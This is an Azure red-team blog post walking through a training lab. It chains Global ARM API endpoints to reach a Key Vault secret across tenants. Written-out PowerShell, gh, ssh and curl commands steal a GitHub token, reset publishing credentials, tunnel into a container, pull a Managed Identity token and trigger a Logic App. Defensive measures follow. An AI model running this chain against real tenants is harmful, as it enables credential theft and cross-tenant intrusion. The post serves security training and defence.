top of page

Abusing Global ARM API - Publishing User Compromise

  • Writer: Prajwal Pandey
    Prajwal Pandey
  • 1 hour ago
  • 9 min read

Welcome to this deep dive into Azure security. Whether you are a red teamer, cloud security engineer or just curious about how Azure internals work, this blog has something for you.


In this blog, we will discuss the concept of Global Azure Resource Manager (ARM) API endpoints and how they can be abused in certain Azure attack scenarios. To demonstrate this, we will walk through a hands-on lab from Altered Security's Red Labs platform (https://redlabs.enterprisesecurity.io/), where multiple Azure services are chained together to simulate a realistic attack path leading to the extraction of sensitive data from an Azure Key Vault.


What are Global ARM API Endpoints?


Before diving into the attack, it is important to understand what makes Global ARM API endpoints special and why they are dangerous.

Azure Resource Manager (ARM) is the deployment and management service for Azure. ARM API calls are scoped to a subscription, resource group or management group and Azure RBAC enforces access control at those scopes. However, some ARM endpoints are not tied to a specific subscription, resource group or management group. These are known as Global ARM API endpoints.


The critical issue with these endpoints is that when accessed using guest user credentials, they return data belonging to the user's home tenant, not the guest tenant. This effectively violates tenant isolation boundaries, since the guest account is supposed to operate within the constraints of the tenant it was invited into.


The endpoints are:


  • /providers/Microsoft.Web/sourcecontrols : Returns all configured source control integrations (GitHub, Bitbucket etc.) along with the tokens used for these integrations in plaintext. A token is present only if the user previously configured a deployment using at least the Website Contributor role.

  • /providers/Microsoft.Web/publishingUsers/web : Manages user-level deployment (publishing) credentials. These credentials are account-wide, not scoped to a single app, and can be used to authenticate to the Kudu SCM service of any web app the user has access to in any tenant.


The key insight here is: the above endpoints expose home tenant secrets using guest tenant authentication.


Understanding the Key Component


Guest User:


A Guest User is a user who has an account in an external Microsoft Entra organization or an external identity provider (for example, a social identity like Gmail, Outlook etc.) and has guest-level permissions in the resource organization. The user object created in the resource Microsoft Entra directory has a UserType of Guest.


Microsoft Entra ID Guest User

When the guest tries to access a resource in the tenant they were invited to, Azure redirects them to authenticate against their home tenant or IdP not the resource tenant. This means:


  • If the guest is from another Azure AD/Entra ID org : They authenticate against their home Entra ID

  • If the guest uses a Microsoft personal account (Outlook, Hotmail) : Microsoft Account (MSA) is the IdP

  • If the guest uses Google, Gmail or a SAML/OIDC federation : The external IdP handles authentication


After successfully authenticating with their home IdP, the user receives an access token scoped to the resource tenant.


Once the guest holds a valid token from the resource tenant, Azure evaluates their permissions based on RBAC roles assigned to their guest object in that tenant.


Putting It Into Practice:


Now that we have a solid understanding of the key component and the guest user authentication flow, let's hop into the lab and see how this all plays out in practice.

Before diving into this lab, we recommend checking out our previous blog, where we explored a different attack scenario involving Global ARM API endpoints.

Scenario:


Our victim is a user from the Red Team Labs tenant who was invited into our attacker-controlled tenant as a B2B guest user for collaboration purposes. This is a common scenario in enterprise environments where organizations frequently invite external users into their tenants for shared projects, development work or temporary access requirements.


At some point, we successfully phished the victim and obtained their credentials. However, there was one major limitation: direct access to the victim’s home tenant was protected by MFA. Even with the correct username and password, authenticating directly against the home tenant would fail because the second factor could not be satisfied.


Instead of attacking the home tenant head-on, we shifted focus to the one environment where the victim already had a trusted presence: our own attacker-controlled tenant. Since the victim had previously accepted the B2B invitation, Entra ID recognized them as a legitimate guest user in our tenant. That gave us two valuable pieces of information:


  • The victim’s credentials

  • The tenant ID of the attacker-controlled tenant where the victim existed as a guest user


You can directly access the lab here: https://redlabs.enterprisesecurity.io/lab-exam/PremiumLabs/otLX8KKCe1bOHl1B7UAAAU. Hit Start Lab, give it around 5 minutes to provision, and you're good to go.

All you need is a Google account to sign in to the Red Labs platform.
Altered Security's Red Labs Portal Global ARM Abuse Lab

With our guest credentials ready, let's get into it


  1. We start by opening a PowerShell session and logging in to the guest tenant using the credentials provided with the lab:

Connect-AzAccount -Tenant "<GuestTenantId>"

Azure PowerShell Login

After authenticating, we verify the tenant context:

$tenantId = (Get-AzContext).Tenant.Id
$response = Invoke-AzRestMethod -Method GET -Uri "https://graph.microsoft.com/v1.0/tenantRelationships/findTenantInformationByTenantId(tenantId='$tenantId')"
$tenantInfo

PowerShell commands retrieving Azure tenant information using Microsoft Graph API

This confirms we are operating in the guest tenant.


  1. Using the guest tenant credentials, we call the source controls endpoint with Invoke-AzRestMethod :

Invoke-AzRestMethod `
-Uri "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-11-01" `
-Method GET
PowerShell command using Invoke-AzRestMethod to query Azure App Service source control endpoint

The response returns a GitHub source control entry containing a plaintext ghs_* server-to-server token. The token belongs to the user’s home tenant GitHub integration, yet it is exposed through requests authenticated with Guest tenant credentials. This demonstrates the core tenant isolation violation.


Note: For the Lab we are using server to server token ghs_*, in practice this could be a Personal Access Token (PAT).

  1. Next, we set the retrieved token as the GH_TOKEN environment variable (used automatically by the GitHub CLI):

$env:GH_TOKEN = "<TOKEN_FROM_PREVIOUS_STEP>"

PowerShell command setting the GH_TOKEN environment variable with a GitHub token.

We then verify authentication using:

gh auth status
Authentication status of the GitHub CLI using gh auth status

Next, we listed the repositories accessible to the token:

gh repo list
Listing GitHub repositories using the gh repo list command.

From the returned repositories, we clone the target repository:

gh repo clone <owner>/<repo-name>
Cloning GitHub repositories using the gh repo clone command.

  1. Inside the cloned repository, we discover a variables.tfvars file, a Terraform variable definitions file used to store environment-specific values separately from the main infrastructure code. The file reveals the name of the target Web App:

$RepoPath = Join-Path -Path $PWD -ChildPath "<repo-name>"
$FilePath = Join-Path -Path $RepoPath -ChildPath "variables.tfvars"
Get-Content -Path $FilePath
PowerShell commands constructing a local file path to a repository file and reading its contents.

  1. Using the webapp_name from the variables.tfvars file, we open the Web App in a browser:


    https://<webapp_name>.azurewebsites.net


    To check whether Basic Authentication is enabled, we navigated to:


    https://<webapp_name>.scm.azurewebsites.net/basicauth


    The browser prompted us for a username and password, confirming that BasicAuth is active on this Web App.

Note: Basic Authentication is disabled by default for Azure Web Apps. In this context, it has been intentionally enabled for this Web App to demonstrate the scenario.

Azure App Service SCM endpoint Basic Authentication.

  1. With the Web App name in hand, we use the second Global ARM endpoint /providers/Microsoft.Web/publishingUsers/web to fetch the current publishingUserName:

Invoke-AzRestMethod `
-Uri "https://management.azure.com/providers/Microsoft.Web/publishingUsers/web?api-version=2024-11-01" `
-Method GET
PowerShell command using Invoke-AzRestMethod to query Azure App Service Publishing User endpoint

It is worth noting that while the GET request returns the publishingUserName in plaintext, the existing publishingPassword is not returned in the response. This means the only way to make use of these credentials is to reset the password to a value we control, which is exactly what we do next.

$Body = @{
properties = @{
	publishingPassword = "<Password>"
   }
} | ConvertTo-Json
Invoke-AzRestMethod -Method PUT `
-Path "/providers/Microsoft.Web/publishingUsers/web?api-version=2022-03-01" `
-Payload $Body
PowerShell command using Invoke-AzRestMethod to  reset Publishing Password  using Publishing User Endpoint

  1. Now that we have the publishing username and have successfully reset the password, those are the only two things we need to authenticate to the SCM portal no MFA, no Conditional Access, no additional friction.

    Using these credentials, we run a custom Python WebSocket tunnel script that creates a local SSH tunnel into the App Service container by forwarding traffic through the Kudu WebSocket endpoint:

Alternatively, the same result can be achieved directly through the SCM portal.

The tunnel script depends on the websocket-client library, so we install it before running the script

pip install websocket-client

If a dependency-related error occurs while installing websocket-client, try using:

py -m pip install websocket-client

Next, we set the required variables: the Web App name, publishing username and the password that we had just reset.


$Appname="<WebApp>"
$Username="<publishingUserName>"
$Password="<publishingPassword>"

Next, we run the following PowerShell commands to build the tunnel script:



$kudu_ssh_tunnel | Out-File kudu_ssh_tunnel.py -Encoding utf8
py kudu_ssh_tunnel.py

The script opens a local listener and tunnels traffic through wss://<app>.scm.azurewebsites.net/AppServiceTunnel/Tunnel.ashx


  1. In a new PowerShell tab, we establish an SSH session directly into the container:

ssh root@127.0.0.1 -p <port-from-the-above-output> -m hmac-sha1
SSH command connecting to container hosting the Azure Web Application

Once inside the container shell, we query the Instance Metadata Service (IMDS) to retrieve an access token for the Managed Identity assigned to the Web App:

curl -s -X GET "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" | json_pp

This returns an access_token and client_id for the Managed Identity which lives in the home tenant.


cURL command calling an Azure Managed Identity endpoint to retrieve an access token for Azure Management API access.

  1. In a new PowerShell session, we use the stolen token to authenticate directly to the home tenant:

$token="<access_token>"
$client_id="<client_id>"
Connect-AzAccount -Accesstoken $token -AccountId $client_id

Running Get-AzTenant confirms that we are now operating inside a completely different tenant.


Azure Powershell command to get Tenant Informaton

  1. We enumerate the Logic App in the home tenant and inspect its workflow definition:

$subscriptionId = (Get-AzContext).Subscription.Id 
$resourceGroupName = (Get-AzResourceGroup).ResourceGroupName
$workflowName = (Get-AzLogicApp).Name
$response = Invoke-AzRestMethod -Method GET -Path $response = Invoke-AzRestMethod -Method GET -Path "/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Logic/workflows/${workflowName}?api-version=2019-05-01"
$response
Azure Logic App workflow Logic
Azure Logic App Access control configuration

The workflow reveals the following behavior:

  • It is triggered by an HTTP request

  • It retrieves a secret from Azure Key Vault and returns it in the response

  • It uses an OAuth policy instead of a SAS token, with an aud claim set to the ARM endpoint and a sub claim restriction.


  1. Next, we inspect the Managed Identity of the Web App:

$webapp = Get-AzWebApp 
$webapp.Identity

owerShell commands retrieving an Azure Web App and displaying its managed identity configuration.

The identity matches the Subject value defined in the OAuth policy of the Logic App workflow.

This means the Logic App would accept the Managed Identity access token that we already obtained.


  1. Next, we retrieve the Logic App trigger information:

Get-AzLogicAppTrigger -Name $workflowName -ResourceGroupName $resourceGroupName
PowerShell command retrieving triggers for an Azure Logic App using Get-AzLogicAppTrigger.

And then constructed the Logic App trigger URL:

$AccessEndpoint=(Get-AzLogicApp).AccessEndpoint
$trigger_name=(Get-AzLogicAppTrigger -Name $workflowName -ResourceGroupName $resourceGroupName).Name
$logicAppUrl="$AccessEndpoint/triggers/$trigger_name/paths/invoke?api-version=2016-10-01"

Using the Managed Identity token, we invoke the Logic App endpoint:

$headers = @{
	"Authorization" = "Bearer $token"
	"Content-Type"  = "application/json"
}
$response = Invoke-RestMethod -Method GET -Uri $logicAppUrl -Headers $headers
$response
PowerShell commands constructing and invoking an Azure Logic App trigger URL and retrieving its response using Invoke-RestMethod.

The Logic App successfully returns the Azure Key Vault secret in the response.


Submit the flag to complete the challenge.


After successfully completing the lab, we receive a completion badge from the Altered Security's Red Labs platform.

The Global ARM API Abuse module consists of two labs and both must be completed to receive the badge.
Altered Security's Red Labs Badge

Summary


This lab demonstrated how multiple seemingly minor misconfiguration could be chained together into a full cross-tenant attack. At the core of the attack was a Global ARM API tenant isolation flaw, a design-level issue that allowed endpoints intended to remain scoped to the home tenant to still be accessed using credentials from a guest tenant.

Global ARM API - Publishing User Compromise Attack Path

From that initial foothold, we were able to extract a GitHub token, clone a private repository, recover infrastructure details, reset publishing credentials, SSH into an App Service container, obtain a Managed Identity token and ultimately trigger a Logic App to retrieve a Key Vault secret.


The key takeaway is that guest accounts are not inherently low risk. If a guest user holds any meaningful role in the home tenant, even something as limited as Website Contributor, the Global ARM API may expose credentials and resources that operate entirely outside the guest tenant’s security controls.


Defensive Measures


  • Use Fine-grained Personal Access Tokens instead of Classic PATs

    Classic Personal Access Tokens are not scoped to a single project, they apply to every repository the user owns, making them a high-value target when exposed through endpoints like /Microsoft.Web/sourcecontrols. Fine-grained Personal Access Tokens in GitHub can be scoped down to only the specific repository and permissions actually needed for the deployment. These scoped tokens can be passed to the deployment configuration using the Azure CLI instead of the portal: using the command

az webapp deployment github-actions

Example:

az webapp deployment github-actions add --repo "githubUser/githubRepo" -g MyResourceGroup -n MyWebapp --token MyPersonalAccessToken
  • Disable Basic Authentication on App Services

    Azure allows you to disable Basic Authentication on App Services. Unless there is a specific need, it should be disabled to prevent publishing credential abuse.

    Navigate to: App Service → Configuration → General Settings → Disable FTP and Basic Auth publishing.


  • Configure OpenID Connect (OIDC) for GitHub Actions

    Storing secrets for GitHub Actions deployments is unnecessary and risky. OIDC eliminates stored secrets entirely by establishing a federated trust between Entra ID and GitHub, scoped to a specific repository and workflow. An Entra ID App Registration and Service Principal are created and assigned access on the relevant resource. A Federated Identity Credential is then configured to define the trust. On the GitHub side, only identifiers are stored: client ID, tenant ID and subscription ID with id-token permissions enabled in the workflow. At runtime, GitHub Actions requests an OIDC token, presents it to Entra ID and if the federated trust is satisfied, Azure issues a short-lived access token. The workflow runs as the Service Principal with no secrets involved, no rotation required and no risk of credentials appearing in plaintext API responses.


  • Apply Network Restrictions to Kudu/SCM Endpoints

    Restrict access to the SCM endpoint (*.scm.azurewebsites.net) using IP restrictions or VNet integration to prevent exploitation from arbitrary internet hosts.


  • Manage External Collaboration to Minimize the Attack Surface

    External collaboration settings in Microsoft Entra ID should default to blocking all external tenants, with only trusted partners, vendors or collaborators explicitly allow-listed. Even for allow-listed tenants, access should be scoped tightly to specific users or groups rather than the entire organization. Inbound trust settings should be configured to require MFA to be re-satisfied within your tenant, regardless of whether the guest's home tenant has already done so. This ensures that a compromised guest account cannot be leveraged beyond its explicitly permitted scope.

For a deeper dive into this topic, we covered this attack chain in detail during a webinar. You can find the recording and slide deck in the Lab Materials section under the Premium Labs category on the Altered Security Red Labs portal.

Reference


Azure never disappoints when it comes to weird attack paths. Thanks for reading.



Posted by:


Prajwal Kumar Pandey

Azure Security Researcher @ AlteredSecurity

 
 
bottom of page